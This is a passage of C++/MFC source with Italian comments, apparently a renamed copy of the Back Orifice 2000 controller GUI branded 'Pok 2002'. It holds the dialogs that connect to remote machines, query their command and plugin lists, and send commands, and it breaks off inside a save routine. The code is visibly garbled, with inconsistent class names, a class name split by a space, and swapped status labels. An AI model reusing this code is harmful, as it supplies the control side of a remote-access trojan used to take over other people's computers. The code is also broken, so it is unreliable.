if(m_descList[i].svCommName[0]=='\0') continue;



if(m_descList[i].svFolderName[0]=='\0') continue;



// Cerca I nomi delle cartelle sulla cima top level



HTREEITEM htiFolder;



for(htiFolder=pTree->GetRootItem(); htiFolder!=NULL; htiFolder=pTree->GetNextSiblingItem(htiFolder)) {




if(pTree->GetItemText(htiFolder).CompareNoCase(m_descList[i].svFolderName)==0) 





break;



}



if(htiFolder==NULL) {




// Make folder if it does not exist




if(m_descList[i].bNative) {





htiFolder=pTree->InsertItem(m_descList[i].svFolderName,0,1);




} else {





htiFolder=pTree->InsertItem(m_descList[i].svFolderName,2,3);




}




pTree->SetItemData(htiFolder,-1);



}



// Aggiunge oggetto nella cartella



HTREEITEM item;



if(m_descList[i].bNative) {




item=pTree->InsertItem(m_descList[i].svCommName,4,5,htiFolder);



} else {




item=pTree->InsertItem(m_descList[i].svCommName,6,7,htiFolder);



}



pTree->SetItemData(item,i);


}

}

void CpokCmdDescList::SetNativeCommands(void)

{


int i;


for(i=0;i<MAX_pok_COMMANDS;i++) {



m_descList[i].svCommName[0]='\0';


}


SetDesc(0,"Simple","Query",NULL,NULL,NULL,TRUE);

}

/*  Pok 2002 (il ragno che insidia la rete) */

// pokServerDlg.cpp : implementation file

#include "stdafx.h"

#include "bpokgui.h"

#include "pokServerDlg.h"

#include "MainFrm.h"

#include "QueryDlg.h"

#include "NewMachineDlg.h"

#include "resource.h"

#include <auth.h>

#include <iohandler.h>

#include <commnet.h>

#include <strhandle.h>

#ifdef _DEBUG

#define new DEBUG_NEW

#undef THIS_FILE

static char THIS_FILE[] = __FILE__;

#endif

#define HISTORY_LENGTH 16

int g_npokServerColor=0;

CpokServerDlg::CpokServerDlg(CWnd* pParent /*=NULL*/)


: CDialog(CpokServerDlg::IDD, pParent)

{


m_bGenerated=FALSE;


m_bIsConnected=FALSE;


m_pAuthSocket=NULL;


m_bHandleNetwork=TRUE;


m_cwtListenThread=NULL;


InitializeCriticalSection(&m_NetCritSec);

}

CpokServerDlg::~CpokServerDlg()

{


DeleteCriticalSection(&m_NetCritSec);


if(m_cwtListenThread!=NULL) delete m_cwtListenThread;

}

void CpokServerDlg::DoDataExchange(CDataExchange* pDX)

{


CDialog::DoDataExchange(pDX);

}

BEGIN_MESSAGE_MAP(CpokServerDlg, CDialog)


ON_BN_CLICKED(IDC_CONNECTCHECK, OnConnectcheck)


ON_NOTIFY(TVN_SELCHANGED, IDC_SERVERCOMMANDS, OnSelchangedServercommands)


ON_BN_CLICKED(IDC_SENDCOMMAND, OnSendcommand)


ON_BN_CLICKED(IDC_CLEARRESPONSES, OnClearResponses)


ON_WM_SIZE()


ON_BN_CLICKED(IDC_SETTINGS, OnSettings)


ON_WM_SHOWWINDOW()


ON_WM_DESTROY()


END_MESSAGE_MAP()

BOOL Cpok ServerDlg::OnInitDialog() 

{


CDialog::OnInitDialog();


ModifyStyle (0, WS_CLIPCHILDREN | WS_CLIPSIBLINGS);


m_HistFont.CreatePointFont(86,"Courier New",NULL);


// Sottoclasse oggetto Dialogo


m_HistEdit.SubclassDlgItem(IDC_SERVERRESPONSE,this);


m_HistEdit.AllowSelection(TRUE);


m_HistEdit.SetFont(&m_HistFont,TRUE);


// Inizializzazione lista di comandi


m_CmdDescList.SetNativeCommands();


m_TreeImageList.Create(IDB_CMDTREE_IMAGELIST,16,8,RGB(0,255,0));


CTreeCtrl *pTree=(CTreeCtrl *)GetDlgItem(IDC_SERVERCOMMANDS);


pTree->SetImageList(&m_TreeImageList,TVSIL_NORMAL);


m_CmdDescList.FillTreeCtrl(pTree);


UpdateDialog();


// Imposta controlli


CButton *cqc=(CButton *)GetDlgItem(IDC_QUERYONCONNECT);


cqc->SetCheck(1);


// Imposta Icone   “Controllare qui”
 
CButton *csb=(CButton *)GetDlgItem(IDC_SETTINGS);


csb->SetIcon(AfxGetApp()->LoadIcon(IDI_EDITMACHINE));


return (TRUE);

}

void CpokServerDlg::OnDestroy() 

{


m_bIsConnected = FALSE;


if (m_cwtListenThread)


{



WaitForSingleObject (m_cwtListenThread->m_hThread, INFINITE);



delete m_cwtListenThread;



m_cwtListenThread = NULL;


}


if (m_pAuthSocket)


{



if (m_pAuthSocket->Close () == -1)



{




AfxMessageBox("Non posso chiudereil Socket di IO.\nTermino ugualmente.\n");



}



delete m_pAuthSocket;



m_pAuthSocket = NULL;


}


CDialog::OnDestroy();

}

void CpokServerDlg::OnOK()

{

}

void CpokServerDlg::OnCancel()

{


// SE il tasto Chiudi o ESC è schiacciato prima di chiudere chiedi conferma


if (m_bIsConnected)


{



if (AfxMessageBox ("Questa finestra di comando del server e correntemente "




"connessa.\n"




"Chiudere ora sconnetterà il Server.\n\n"




"Continuare ugualmente?",




MB_YESNO | MB_ICONQUESTION |




MB_SETFOREGROUND | MB_TOPMOST) != IDYES)




return;


}
//Imposta il puntatore alla finestra di dialogo a NULLper prevenire l’accesso a un elemento che sia già stato         //distrutto.


m_pServerInfo->pServerDlg = NULL;


//ora si chiude la finestra di dialogo e si distrugge la finestra.la funzione DestroyWindow() invierà


// WM_DESTROY, la quale si curerà che  OnDestroy() sia chiamata prima della distruzione della 

// finestra di ritorno.


EndDialog (IDOK);


DestroyWindow ();


//ora il sistema può cancellare in sicurezza questo oggetto.


//il Metodo rimane nella Pila elle chiamate solo come dato locale.

delete this;

}

void CpokServerDlg::UpdateDialog(void)

{


CString txt;


txt+="  Nome: ";


txt+=m_pServerInfo->svName;


txt+="\r\n";


txt+="  Indirizzo: ";


txt+=m_pServerInfo->svAddress;


GetDlgItem(IDC_MACHINEINFO)->SetWindowText(txt);

}

void CpokServerDlg::OnConnectcheck() 

{


EnterCriticalSection(&m_NetCritSec);


CButton *pbCC=(CButton *)GetDlgItem(IDC_CONNECTCHECK);


CButton *pbSC=(CButton *)GetDlgItem(IDC_SENDCOMMAND);


if(!m_bIsConnected) {



pbCC->EnableWindow(FALSE);



pbCC->SetWindowText("in collegamento...");



// crea il socket (porta) e si collega



m_pAuthSocket=ConnectAuthSocket(NULL,0,GetSafeHwnd(),




m_pServerInfo->svAddress,




m_pServerInfo->svConnectionType,




m_pServerInfo->svEncryption,




m_pServerInfo->svAuthentication);



if(m_pAuthSocket==NULL) {




pbCC->SetWindowText("Collegato");




pbCC->SetCheck(0);




pbCC->EnableWindow();




LeaveCriticalSection(&m_NetCritSec);




return;



}



if(m_pAuthSocket==(CAuthSocket *)0xFFFFFFFF) {




m_pAuthSocket=NULL;




pbCC->SetWindowText("Connesso");




pbCC->SetCheck(0);




pbCC->EnableWindow();




MessageBox("Non riesco a collegarmi alla macchina remota.\n","Errore di connessione",MB_ICONWARNING|MB_OK|MB_TOPMOST|MB_SETFOREGROUND);




LeaveCriticalSection(&m_NetCritSec);




return;



}

//Crea il socket (porta) di ascolto per manipolare la ricezione asincrona



m_bIsConnected=TRUE;



m_cwtListenThread=AfxBeginThread(ServerListenThread,this);



m_cwtListenThread->m_bAutoDelete=FALSE;



m_cwtListenThread->SetThreadPriority(THREAD_PRIORITY_LOWEST);



if(m_cwtListenThread==NULL) {




m_pAuthSocket->Close();




m_bIsConnected=FALSE;




delete m_pAuthSocket;




m_pAuthSocket=NULL;




pbCC->SetWindowText("Connesso");




pbCC->SetCheck(0);




pbCC->EnableWindow();




MessageBox("non posso creare la connessione.\nIl tuo sistema può essere incompreso\n","Errore di sistema",MB_ICONWARNING|MB_OK|MB_TOPMOST|MB_SETFOREGROUND);




LeaveCriticalSection(&m_NetCritSec);




return;



}



// Messaggio di riuscita






pbCC->SetWindowText("Sconnesso");



pbCC->SetCheck(0);



pbCC->EnableWindow();



pbSC->EnableWindow();



// testa per  'Auto-Query' (negoziazione automatica)



CButton *cqc=(CButton *)GetDlgItem(IDC_QUERYONCONNECT);



if(cqc->GetCheck()==1) {




if(PerformQuery()<0) {





MessageBox("Errore di invio comandi. La connessione è stata interrota con il Server.","Network Error",MB_ICONSTOP|MB_OK|MB_SETFOREGROUND|MB_TOPMOST);




}



}


} else {



pbCC->EnableWindow(FALSE);



pbCC->SetWindowText("Sconnessione...");



// Chiusura del canale di ascolto



m_bIsConnected=FALSE;



if(m_cwtListenThread!=NULL) {




LeaveCriticalSection(&m_NetCritSec);




WaitForSingleObject(m_cwtListenThread->m_hThread,INFINITE);




EnterCriticalSection(&m_NetCritSec);




delete m_cwtListenThread;




m_cwtListenThread=NULL;



}



// Sconnessione e distruzione del canale di ascolto



if(m_pAuthSocket->Close()==-1) {




pbCC->SetWindowText("Sconnesso");




pbCC->SetCheck(0);




pbCC->EnableWindow();




MessageBox("Impossibile chiudere la connessione.\nla tua rete potrebbe essere instabile\nIl Server non risponde.\n","Errore di Rete",MB_ICONWARNING|MB_OK|MB_TOPMOST|MB_SETFOREGROUND);




LeaveCriticalSection(&m_NetCritSec);




return;




}



delete m_pAuthSocket;



m_pAuthSocket=NULL;



Sleep(325);



pbCC->SetWindowText("Connesso");



pbCC->SetCheck(0);



pbCC->EnableWindow();



pbSC->EnableWindow(FALSE);


}


LeaveCriticalSection(&m_NetCritSec);

}

void CPOKServerDlg::OnSelchangedServercommands(NMHDR* pNMHDR, LRESULT* pResult) 

{//Finestra di abilitazione e disabilitazione delle opzioni

NM_TREEVIEW* pNMTreeView = (NM_TREEVIEW*)pNMHDR;


int command;


command=pNMTreeView->itemNew.lParam;


if(command==-1) {



GetDlgItem(IDC_STATIC_OPT1)->ShowWindow(SW_HIDE);



GetDlgItem(IDC_STATIC_OPT2)->ShowWindow(SW_HIDE);



GetDlgItem(IDC_STATIC_OPT3)->ShowWindow(SW_HIDE);



GetDlgItem(IDC_OPT1)->ShowWindow(SW_HIDE);



GetDlgItem(IDC_OPT2)->ShowWindow(SW_HIDE);



GetDlgItem(IDC_OPT3)->ShowWindow(SW_HIDE);


}


else {



char *arg;



arg=m_CmdDescList.GetArgDesc1(command);



if(arg) {




GetDlgItem(IDC_STATIC_OPT1)->ShowWindow(SW_HIDE);




GetDlgItem(IDC_STATIC_OPT1)->SetWindowText(arg);




GetDlgItem(IDC_STATIC_OPT1)->ShowWindow(SW_SHOW);




GetDlgItem(IDC_OPT1)->ShowWindow(SW_SHOW);



} else {




GetDlgItem(IDC_STATIC_OPT1)->ShowWindow(SW_HIDE);




GetDlgItem(IDC_OPT1)->ShowWindow(SW_HIDE);



}



arg=m_CmdDescList.GetArgDesc2(command);



if(arg) {




GetDlgItem(IDC_STATIC_OPT2)->ShowWindow(SW_HIDE);




GetDlgItem(IDC_STATIC_OPT2)->SetWindowText(arg);




GetDlgItem(IDC_STATIC_OPT2)->ShowWindow(SW_SHOW);




GetDlgItem(IDC_OPT2)->ShowWindow(SW_SHOW);



} else {




GetDlgItem(IDC_STATIC_OPT2)->ShowWindow(SW_HIDE);




GetDlgItem(IDC_OPT2)->ShowWindow(SW_HIDE);



}



arg=m_CmdDescList.GetArgDesc3(command);



if(arg) {




GetDlgItem(IDC_STATIC_OPT3)->ShowWindow(SW_HIDE);




GetDlgItem(IDC_STATIC_OPT3)->SetWindowText(arg);




GetDlgItem(IDC_STATIC_OPT3)->ShowWindow(SW_SHOW);




GetDlgItem(IDC_OPT3)->ShowWindow(SW_SHOW);



} else {




GetDlgItem(IDC_STATIC_OPT3)->ShowWindow(SW_HIDE);




GetDlgItem(IDC_OPT3)->ShowWindow(SW_HIDE);



}




}


*pResult = 0;

}

void CpokServerDlg::SetServerInfo(SERVER_INFO *si)

{


m_pServerInfo = si;

}

void CBOServerDlg::OnSendcommand() 

{


EnterCriticalSection(&m_NetCritSec);




if(m_bIsConnected) {



CTreeCtrl *pTree;



int nCommand,ret;



HTREEITEM hti;



pTree=(CTreeCtrl *)GetDlgItem(IDC_SERVERCOMMANDS);



if(pTree==NULL) {




LeaveCriticalSection(&m_NetCritSec);






return;



}



hti=pTree->GetSelectedItem();



if(hti==NULL) {




AfxMessageBox("Scegliere un commando appropiato.\n",MB_OK|MB_ICONWARNING|MB_TOPMOST|MB_SETFOREGROUND);




LeaveCriticalSection(&m_NetCritSec);






return;



}



nCommand=pTree->GetItemData(hti);



if(nCommand==-1) {




AfxMessageBox("Scegli un comando appropiato.\n",MB_OK|MB_ICONWARNING|MB_TOPMOST|MB_SETFOREGROUND);




LeaveCriticalSection(&m_NetCritSec);






return;



}



CEdit *pEBArg1;



CComboBox *pCBArg2,*pCBArg3;



int nArg1;



char svArg1[1024],svArg2[1024],svArg3[1024];



pEBArg1=(CEdit *)GetDlgItem(IDC_OPT1);



pCBArg2=(CComboBox *)GetDlgItem(IDC_OPT2);



pCBArg3=(CComboBox *)GetDlgItem(IDC_OPT3);



// Memorizza I comandi nella lista



if(pEBArg1->IsWindowVisible() && pEBArg1->GetWindowTextLength()!=0) {




pEBArg1->GetWindowText(svArg1,1024);




nArg1=atoi(svArg1);



}



else nArg1=-1;



if(pCBArg2->IsWindowVisible() && pCBArg2->GetWindowTextLength()!=0) {




if(pCBArg2->GetCount()==HISTORY_LENGTH) {





pCBArg2->DeleteString(HISTORY_LENGTH-1);




}




pCBArg2->GetWindowText(svArg2,1024);




pCBArg2->DeleteString(pCBArg2->FindStringExact(-1, svArg2));




pCBArg2->InsertString(0,svArg2);



}



else svArg2[0]='\0';



if(pCBArg3->IsWindowVisible()) {




if(pCBArg3->GetCount()==HISTORY_LENGTH) {





pCBArg3->DeleteString(HISTORY_LENGTH-1);




}




pCBArg3->GetWindowText(svArg3,1024);




pCBArg3->DeleteString(pCBArg3->FindStringExact(-1, svArg3));




pCBArg3->InsertString(0,svArg3);



}



else svArg3[0]='\0';



//Invia I comandi



switch(nCommand) {



case 0:




ret=PerformQuery();




break;



default:




ret=IssueAuthCommandRequest(m_pAuthSocket,nCommand,GetTickCount(),nArg1,svArg2,svArg3);




break;



}



if(ret<0) {




AfxMessageBox("Errore di invio del comando.La connessione con la macchina remota è stata interrotta.",MB_OK|MB_ICONWARNING|MB_SETFOREGROUND|MB_TOPMOST);



}



}


LeaveCriticalSection(&m_NetCritSec);





}

void CpokServerDlg::OnClearResponses() 

{


// Invia il messaggio macchian in controllo sul display di risposta


CHistoryEdit *pEdt=(CHistoryEdit *)GetDlgItem(IDC_SERVERRESPONSE);


if(pEdt==NULL) return;


pEdt->SetWindowText("");

}

UINT ServerListenThread(LPVOID pParam)

{


CpokServerDlg *pThis=(CBOServerDlg *)pParam;


while(pThis->m_bIsConnected) {



pThis->HandleNetworkPoll();



Sleep(20);


}



return 0;

}

void CpokServerDlg::HandleNetworkPoll(void)

{


BYTE *pBuffer;


int nBufLen,ret;


// controlla la porta di connessione


do {



EnterCriticalSection(&m_NetCritSec);



ret=m_pAuthSocket->Recv(&pBuffer,&nBufLen);



LeaveCriticalSection(&m_NetCritSec);



if(ret<0) {




CButton *pbCC=(CButton *)GetDlgItem(IDC_CONNECTCHECK);




pbCC->PostMessage(BM_CLICK);



}



if(ret>0) {




// comando di sconnessione




int cmdlen,command,comid,nArg1;




char *svArg2,*svArg3;




BreakDownCommand(pBuffer,&cmdlen,&command,&comid,&nArg1,&svArg2,&svArg3);




if(svArg2!=NULL) {





HandleCommandResponse(svArg2);




}




if(nArg1==2) {





CButton *cqc=(CButton *)GetDlgItem(IDC_QUERYONCONNECT);





if(cqc->GetCheck()==1) {






EnterCriticalSection(&m_NetCritSec);






if(PerformQuery()<0) {







MessageBox("Errore di invio dei comandi.La connessione con la macchina remota è stata interrotta","Network Poll Error",MB_ICONSTOP|MB_OK|MB_SETFOREGROUND|MB_TOPMOST);






}






LeaveCriticalSection(&m_NetCritSec);





}




}







m_pAuthSocket->Free(pBuffer);



}



} while(ret>0);

}

void CBOServerDlg::HandleCommandResponse(char *svArg2)

{



CHistoryEdit *pEdt=(CHistoryEdit *)GetDlgItem(IDC_SERVERRESPONSE);


if(pEdt==NULL) return;


int nLineOrig=pEdt->GetLineCount();


CString strText;


pEdt->GetWindowText(strText);


pEdt->AppendString(svArg2);

}

int CpokServerDlg::PerformQuery()

{


int cmd_comid,nBufLen,ret;


BYTE *pBuffer;


int cmdlen,command,comid,nArg1;


char *svArg2,*svArg3;


cmd_comid=GetTickCount();


ret=IssueAuthCommandRequest(m_pAuthSocket,0,cmd_comid,0,NULL,NULL);


if(ret<0) {



LeaveCriticalSection(&m_NetCritSec);





return -1;


}


QueryDlg qd;


qd.Create(IDD_QUERYDLG,AfxGetMainWnd());


qd.ShowWindow(SW_SHOW);


m_CmdDescList.SetNativeCommands();


// Testa il  socket connesso


nArg1=1;


int nQSec=0;


do {



MSG msg;



if(PeekMessage(&msg,qd.GetSafeHwnd(),0,0,PM_NOREMOVE)) {




GetMessage(&msg,qd.GetSafeHwnd(),0,0);




DispatchMessage(&msg);



}



ret=m_pAuthSocket->Recv(&pBuffer,&nBufLen);



if(ret<0) {




m_pAuthSocket->Free(pBuffer);




qd.DestroyWindow ();




return -1;



}



if(ret>0) {




BreakDownCommand(pBuffer,&cmdlen,&command,&comid,&nArg1,&svArg2,&svArg3);




if(svArg2==NULL) {





m_pAuthSocket->Free(pBuffer);





qd.DestroyWindow ();





return -1;




}




if(command==-1 && comid==cmd_comid) {





if(strncmp(svArg2,"--> Version:",12)==0) {






nQSec=0;






HandleCommandResponse(svArg2);





} else if(strncmp(svArg2,"--> Extension Commands:",23)==0) {






nQSec=1;





} else if(strncmp(svArg2,"--> IO Handlers:",16)==0) {






nQSec=2;





} else if(strncmp(svArg2,"--> Encryption Handlers:",24)==0) {






nQSec=3;





} else if(strncmp(svArg2,"--> Auth Handlers:",18)==0) {






nQSec=4;









} else {






if(nQSec==0) {






} else if(nQSec==1) {







if(svArg2[0]=='(') {








// Analizzatore sintattico sulla stringa di comando








int nCommand=atoi(svArg2+1);








char *svFolder,*svName,*svDesc1,*svDesc2,*svDesc3,*svEOF;








svFolder=BreakString(svArg2,")")+1;








svName=BreakString(svFolder,"\\");








svDesc1=BreakString(svName,"|");








svDesc2=BreakString(svDesc1,"|");








svDesc3=BreakString(svDesc2,"|");








svEOF=BreakString(svDesc3,"\n");








// Installa ilcomando








m_CmdDescList.SetDesc(nCommand, svFolder, svName, svDesc1, svDesc2, svDesc3);







}









} else if(nQSec==2) {






} else if(nQSec==3) {






} else if(nQSec==4) {






} 





}




}




else {






HandleCommandResponse(svArg2);




}




m_pAuthSocket->Free(pBuffer);



}



} while((nArg1!=0) && !qd.m_bCanceled);


CTreeCtrl *pTree=(CTreeCtrl *)GetDlgItem(IDC_SERVERCOMMANDS);


pTree->SetImageList(&m_TreeImageList,TVSIL_NORMAL);


m_CmdDescList.FillTreeCtrl(pTree);


qd.DestroyWindow ();


UpdateDialog();


return 0;

}

void CpokServerDlg::OnSize(UINT nType, int cx, int cy) 

{

/*
LockWindowUpdate ();


CDialog::OnSize(nType, cx, cy);


// Calcola la nuova dimensione della finestra


CRect wndLower (5, cy * 2/3 + 20, cx - 5, cy - 5);


CRect wndUpperLeft (5, 5 + 18, cx / 2 - 5, cy * 2/3);


CRect wndUpperRight (cx / 2, 5 + 18, cx - 5, cy * 2/3);


// Ridimensiona gli oggetti in maniera appropiata


CRect rect;


CWnd *pWnd;


int x, y;


if (pWnd = GetDlgItem (IDC_SERVERRESPONSE))


{



pWnd->MoveWindow (wndLower, false);


}


if (pWnd = GetDlgItem (IDC_STATIC_SERVERRESPONSE))


{



GetWndClientRect (pWnd, rect);



AlignLeft (rect, wndLower, 0);



AlignTop (rect, wndLower, -16);



pWnd->MoveWindow (rect, false);


}


if (pWnd = GetDlgItem (IDC_CLEARRESPONSES))


{



GetWndClientRect (pWnd, rect);



AlignRight (rect, wndLower);



AlignTop (rect, wndLower, -rect.Height () - 5);



pWnd->MoveWindow (rect, false);


}


if (pWnd = GetDlgItem (IDC_SERVERCOMMANDS))


{



pWnd->MoveWindow (wndUpperLeft, false);


}


if (pWnd = GetDlgItem (IDC_STATIC_SERVERCOMMANDS))


{



GetWndClientRect (pWnd, rect);



AlignLeft (rect, wndUpperLeft, 0);



AlignTop (rect, wndUpperLeft, -16);



pWnd->MoveWindow (rect, false);


}


if (pWnd = GetDlgItem (IDC_MACHINEINFO))


{



GetWndClientRect (pWnd, rect);



y = AlignTop (rect, wndUpperRight) + 8;



rect.left = wndUpperRight.left;



rect.right = wndUpperRight.right - 32;



pWnd->MoveWindow (rect, false);


}


if (pWnd = GetDlgItem (IDC_SETTINGS))


{



rect.SetRect (wndUpperRight.right - 24, wndUpperRight.top,




wndUpperRight.right, wndUpperRight.top + 24);



pWnd->MoveWindow (rect, false);


}


if (pWnd = GetDlgItem(IDC_QUERYONCONNECT))


{



GetWndClientRect (pWnd, rect);



AlignLeft (rect, wndUpperRight);



AlignTop (rect, wndUpperRight, y);



pWnd->MoveWindow (rect, false);


}


if (pWnd = GetDlgItem (IDC_CONNECTCHECK))


{



GetWndClientRect (pWnd, rect);



AlignRight (rect, wndUpperRight);



y = AlignTop (rect, wndUpperRight, y) + 14;



pWnd->MoveWindow (rect, false);


}


if (pWnd = GetDlgItem (IDC_STATIC_OPT1))


{



GetWndClientRect (pWnd, rect);



rect.left = wndUpperRight.left;



rect.right = wndUpperRight.right;



y = AlignTop (rect, wndUpperRight, y) + 4;



pWnd->MoveWindow (rect, false);


}


if (pWnd = GetDlgItem(IDC_SENDCOMMAND))


{



GetWndClientRect (pWnd, rect);



AlignRight (rect, wndUpperRight);



AlignTop (rect, wndUpperRight, y);



x = rect.left;



pWnd->MoveWindow (rect, false);


}


if (pWnd = GetDlgItem (IDC_OPT1))


{



GetWndClientRect (pWnd, rect);



rect.left = wndUpperRight.left;



rect.right = x - 8;



y = AlignTop (rect, wndUpperRight, y) + 14;



pWnd->MoveWindow (rect, false);


}


if (pWnd = GetDlgItem (IDC_STATIC_OPT2))


{



GetWndClientRect (pWnd, rect);



rect.left = wndUpperRight.left;



rect.right = wndUpperRight.right;



y = AlignTop (rect, wndUpperRight, y) + 4;



pWnd->MoveWindow (rect, false);


}


if (pWnd = GetDlgItem (IDC_OPT2))


{



GetWndClientRect (pWnd, rect);



rect.left = wndUpperRight.left;



rect.right = wndUpperRight.right;



y = AlignTop (rect, wndUpperRight, y) + 14;



pWnd->MoveWindow (rect, false);


}


if (pWnd = GetDlgItem (IDC_STATIC_OPT3))


{



GetWndClientRect (pWnd, rect);



rect.left = wndUpperRight.left;



rect.right = wndUpperRight.right;



y = AlignTop (rect, wndUpperRight, y) + 4;



pWnd->MoveWindow (rect, false);


}


if (pWnd = GetDlgItem (IDC_OPT3))


{



GetWndClientRect (pWnd, rect);



rect.left = wndUpperRight.left;



rect.right = wndUpperRight.right;



AlignTop (rect, wndUpperRight, y);



pWnd->MoveWindow (rect, false);


}


UnlockWindowUpdate ();

*/



int nHalfX,n3Qx,nMidBottom;


nHalfX=cx/2;


n3Qx=(cx*3)/4;


nMidBottom=cy*2/3;


// Ridimensiona gli oggetti in maniera appropriata

CWnd *pWnd;


pWnd=GetDlgItem(IDC_SERVERRESPONSE);


if(pWnd) pWnd->MoveWindow(CRect(5,nMidBottom,cx-5,cy-5));


pWnd=GetDlgItem(IDC_STATIC_SERVERRESPONSE);


if(pWnd) pWnd->MoveWindow(CRect(5,nMidBottom-16,100,nMidBottom-4));


pWnd=GetDlgItem(IDC_CLEARRESPONSES);


if(pWnd) pWnd->MoveWindow(cx-5-100,nMidBottom-5-22,100,22);


pWnd=GetDlgItem(IDC_STATIC_SERVERCOMMANDS);


if(pWnd) pWnd->MoveWindow(CRect(5,5,100,5+12));


pWnd=GetDlgItem(IDC_SERVERCOMMANDS);


if(pWnd) pWnd->MoveWindow(CRect(5,5+14,nHalfX,nMidBottom-14-5));


pWnd=GetDlgItem(IDC_MACHINEINFO);


if(pWnd) pWnd->MoveWindow(CRect(nHalfX+5,5,cx-5-28,5+28));


pWnd=GetDlgItem(IDC_SETTINGS);


if(pWnd) pWnd->MoveWindow(CRect(cx-5-24,5,cx-5,5+24));


pWnd=GetDlgItem(IDC_CONNECTCHECK);


if(pWnd) pWnd->MoveWindow(CRect(nHalfX+5,5+28+5,cx-5-106-5,5+28+5+27));


pWnd=GetDlgItem(IDC_QUERYONCONNECT);


if(pWnd) pWnd->MoveWindow(CRect(cx-5-106,5+28+5+10,cx-5,5+28+5+22+10));


pWnd=GetDlgItem(IDC_STATIC_OPT1);


if(pWnd) pWnd->MoveWindow(CRect(nHalfX+5,15+56,cx-5,15+56+16));


pWnd=GetDlgItem(IDC_OPT1);


if(pWnd) pWnd->MoveWindow(CRect(nHalfX+5,15+56+12+5,n3Qx,15+56+12+5+24));


pWnd=GetDlgItem(IDC_SENDCOMMAND);


if(pWnd) pWnd->MoveWindow(CRect(n3Qx+5,15+56+12+5,cx-5,15+56+12+5+24));


pWnd=GetDlgItem(IDC_STATIC_OPT2);


if(pWnd) pWnd->MoveWindow(CRect(nHalfX+5,15+56+46,cx-5,15+56+46+16));


pWnd=GetDlgItem(IDC_OPT2);


if(pWnd) pWnd->MoveWindow(CRect(nHalfX+5,15+56+46+12+5,cx-5,15+56+46+12+5+24+75));


pWnd=GetDlgItem(IDC_STATIC_OPT3);


if(pWnd) pWnd->MoveWindow(CRect(nHalfX+5,20+56+82,cx-5,20+56+82+16));


pWnd=GetDlgItem(IDC_OPT3);


if(pWnd) pWnd->MoveWindow(CRect(nHalfX+5,20+56+82+12+5,cx-5,20+56+82+12+5+24+75));


Invalidate();

}

void CpokServerDlg::OnSettings() 

{


CListCtrl *list=(CListCtrl *)(((CMainFrame *)AfxGetMainWnd())->m_pWndServerList->GetDlgItem(ID_SERVERLIST));


CNewMachineDlg nmd;


CpokWDoc *cbd;


SERVER_INFO *pSvr;


cbd=(CpokWDoc *) ((CMainFrame *)theApp.GetMainWnd())->GetActiveDocument();


int i;


for(i=list->GetItemCount()-1;i>=0;i--) {



pSvr=(SERVER_INFO *)list->GetItemData(i);



if(pSvr->pServerDlg==this) break;


}


if(i<0) return;


if(m_bIsConnected) {



AfxMessageBox("La finestra di comando Server risulta attualmente connessa.\nScollegarsi prima di editare il server.",MB_OK|MB_ICONWARNING|MB_SETFOREGROUND|MB_TOPMOST);



return;


}


nmd.m_strMachineName=pSvr->svName;


nmd.m_strSvrAddr=pSvr->svAddress;


nmd.m_strSelectedIO=pSvr->svConnectionType;


nmd.m_strSelectedEnc=pSvr->svEncryption;


nmd.m_strSelectedAuth=pSvr->svAuthentication;


if(nmd.DoModal()==IDOK) {



cbd->EditServer(pSvr,nmd.m_strMachineName,nmd.m_strSelectedIO,nmd.m_strSvrAddr,nmd.m_strSelectedEnc,nmd.m_strSelectedAuth);



((CMainFrame *)AfxGetMainWnd())->m_pWndServerList->SynchToDocument(cbd);


}


Invalidate();


UpdateWindow();


}

/*  Pok 2002 (il ragno che insidia la rete) */

// BpokDoc.cpp : implementazione della classe CpokWDoc 

#include "stdafx.h"

#include "pokgui.h"

#include "MainFrm.h"

#include "pokWDoc.h"

#ifdef _DEBUG

#define new DEBUG_NEW

#undef THIS_FILE

static char THIS_FILE[] = __FILE__;

#endif

#define MAGIC_DWORD 0xCDC31337 //definizione delle caselle di protocollo (vedi capitolo Protocollo)
IMPLEMENT_DYNCREATE(CpokWDoc, CDocument)

BEGIN_MESSAGE_MAP(CpokWDoc, CDocument)

END_MESSAGE_MAP()

// CpokWDoc costruttore/distruttore

CpokWDoc::CpokWDoc()

{


// TODO: add one-time construction code here


m_pHeadSI=NULL;

}

CpokWDoc::~CpokWDoc()

{

}

void *CpokWDoc::InsertServer(const char *svName,


                        const char *svConnectionType,






        const char *svAddress,







    const char *svEncryption,







    const char *svAuthentication)

{


SERVER_INFO *si,*prev;


si=(SERVER_INFO *)malloc(sizeof(SERVER_INFO));


if(si==NULL) return NULL;


memset(si,0,sizeof(SERVER_INFO));


// Risorsa permanente

lstrcpyn(si->svName,svName,64);


lstrcpyn(si->svConnectionType,svConnectionType,64);


lstrcpyn(si->svAddress,svAddress,512);


lstrcpyn(si->svEncryption,svEncryption,64);


lstrcpyn(si->svAuthentication,svAuthentication,64);


// Risorsa Temporanea

si->next=NULL;




if(m_pHeadSI==NULL) {



m_pHeadSI=si;


} else {



for(prev=m_pHeadSI;prev->next!=NULL;prev=prev->next);



prev->next=si;


}


SetModifiedFlag(TRUE);  //workspace modificato


return si;

}

void CpokWDoc::EditServer(SERVER_INFO *si,







 const char *svName,


                     const char *svConnectionType,






     const char *svAddress,







 const char *svEncryption,







 const char *svAuthentication)

{


// Risorsa Permanente

lstrcpyn(si->svName,svName,64);


lstrcpyn(si->svConnectionType,svConnectionType,64);


lstrcpyn(si->svAddress,svAddress,512);


lstrcpyn(si->svEncryption,svEncryption,64);


lstrcpyn(si->svAuthentication,svAuthentication,64);


SetModifiedFlag(TRUE);
//workspace modificato

}

void CpokWDoc::DeleteServer(void *psi)

{


SERVER_INFO *si;


si=(SERVER_INFO *)psi;


if(m_pHeadSI==si) {



m_pHeadSI=si->next;


}


else {



SERVER_INFO *prev;



prev=m_pHeadSI;



while((prev->next)!=si) prev=prev->next;



prev->next=si->next;


}


free(si);


SetModifiedFlag(TRUE);

}

// CpokWDoc diagnostica
#ifdef _DEBUG

void CpokWDoc::AssertValid() const

{


CDocument::AssertValid();

}

void CpokWDoc::Dump(CDumpContext& dc) const

{


CDocument::Dump(dc);

}

#endif //_DEBUG

// CpokWDoc commandi

BOOL CpokWDoc::OnSaveDocument(LPCTSTR lpszPathName) 

{


HANDLE out;


out=CreateFile(lpszPathName,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);


if(out!=INVALID_HANDLE_VALUE) {



SERVER_INFO *si;



DWORD dwBytes;



DWORD magic=MAGIC_DWORD;



si=m_pHeadSI;



WriteFile(out,&magic,sizeof(DWORD),&dwBytes,NULL);



while(si!=NULL) {




